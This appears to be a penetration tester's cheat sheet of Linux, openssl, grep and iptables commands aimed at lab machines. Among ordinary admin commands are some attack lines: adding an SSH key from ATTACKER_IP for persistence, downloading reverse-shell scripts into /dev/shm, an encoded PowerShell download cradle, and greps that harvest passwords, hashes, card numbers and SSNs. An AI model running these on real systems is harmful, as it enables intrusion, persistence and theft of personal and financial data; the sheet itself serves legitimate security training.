# Useful Linux Commands ## Common Bash ```bash #Exfiltration using Base64 base64 -w 0 file #Get HexDump without new lines xxd -p boot12.bin | tr -d '\n' #Add public key to authorized keys curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authotized_keys #Echo without new line and Hex echo -n -e #Count wc -l #Lines wc -c #Chars #Sort sort -nr #Sort by number and then reverse cat file | sort | uniq #Sort and delete duplicates #Replace in file sed -i 's/OLD/NEW/g' path/file #Replace string inside a file #Download in RAM wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py #Files used by network processes lsof #Open files belonging to any process lsof -p 3 #Open files used by the process lsof -i #Files used by networks processes lsof -i 4 #Files used by network IPv4 processes lsof -i 6 #Files used by network IPv6 processes lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234 lsof +D /lib #Processes using files inside the indicated dir lsof -i :80 #Files uses by networks processes fuser -nv tcp 80 #Decompress tar -xvzf /path/to/yourfile.tgz tar -xvjf /path/to/yourfile.tbz bzip2 -d /path/to/yourfile.bz2 tar jxf file.tar.bz2 gunzip /path/to/yourfile.gz unzip file.zip 7z -x file.7z sudo apt-get install xz-utils; unxz file.xz #Add new user useradd -p 'openssl passwd -1 ' hacker #Clipboard xclip -sel c < cat file.txt #HTTP servers python -m SimpleHTTPServer 80 python3 -m http.server ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start" php -S $ip:80 ##Curl #json data curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint #Auth via JWT curl -X GET -H 'Authorization: Bearer ' http://host:3000/endpoint #Send Email sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content #DD copy hex bin file without first X (28) bytes dd if=file.bin bs=28 skip=1 of=blob #Mount .vhd files (virtual hard drive) sudo apt-get install libguestfs-tools guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd ## ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys ssh-keyscan 10.10.10.101 ## Openssl openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server openssl x509 -in ca.cert.pem -text #Read certificate openssl genrsa -out newuser.key 2048 #Create new RSA2048 key openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb) openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox) ## If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using: openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12 # Decrypt ssh key openssl rsa -in key.ssh.enc -out key.ssh #Decrypt openssl enc -aes256 -k -d -in backup.tgz.enc -out b.tgz #Count number of instructions executed by a program, need a host based linux (not working in VM) perf stat -x, -e instructions:u "ls" ##Find trick for HTB, find files from 2018-12-12 to 2018-12-14 find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null #Reconfigure timezone sudo dpkg-reconfigure tzdata #Search from wich package is a binary apt-file search /usr/bin/file #Needed: apt-get install apt-file #Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw #Set not removable bit sudo chattr +i file.txt sudo chattr -i file.txt #Remove the bit so you can delete it ``` ## Bash for Windows ```bash #Base64 for Windows echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 #Exe compression upx -9 nc.exe #Exe2bat wine exe2bat.exe nc.exe nc.txt #Compile Windows python exploit to exe pip install pyinstaller wget -O exploit.py http://www.exploit-db.com/download/31853 python pyinstaller.py --onefile exploit.py #Compile for windows #sudo apt-get install gcc-mingw-w64-i686 i686-mingw32msvc-gcc -o executable useradd.c ``` ## Greps ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt #Extract valid IP addresses grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt #Extract passwords grep -i "pwd\|passw" file.txt #Extract users grep -i "user\|invalid\|authentication\|login" file.txt ## Extract hashes #Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128}) egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt #Extract valid MySQL-Old hashes grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt #Extract blowfish hashes grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt #Extract Joomla hashes egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt #Extract VBulletin hashes egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt #Extraxt phpBB3-MD5 egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt #Extract Wordpress-MD5 egrep -o '$P$S{31}' *.txt > wordpress-md5.txt #Extract Drupal 7 egrep -o '$S$S{52}' *.txt > drupal-7.txt #Extract old Unix-md5 egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt #Extract md5-apr1 egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt #Extract sha512crypt, SHA512(Unix) egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt #Extract e-mails from text files grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt #Extract HTTP URLs from text files grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt #For extracting HTTPS, FTP and other URL format use grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt #Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex" #Extract Floating point numbers grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt ## Extract credit card data #Visa grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt #MasterCard grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt #American Express grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt #Diners Club grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt #Discover grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt #JCB grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt #AMEX grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt ## Extract IDs #Extract Social Security Number (SSN) grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt #Extract Indiana Driver License Number grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt #Extract US Passport Cards grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt #Extract US Passport Number grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt #Extract US Phone Numberss grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt #Extract ISBN Numbers egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt ``` ## Nmap search help ```bash #Nmap scripts ((default or version) and smb)) nmap --script-help "(default or version) and *smb*" locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb nmap --script-help "(default or version) and smb)" ``` ## Bash ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` ## Iptables ```bash #Delete curent rules and chains iptables --flush iptables --delete-chain #allow loopback iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT #drop ICMP iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP iptables -A OUTPUT -p icmp -j DROP #allow established connections iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT #allow ssh, http, https, dns iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT #default policies iptables -P INPUT DROP iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ```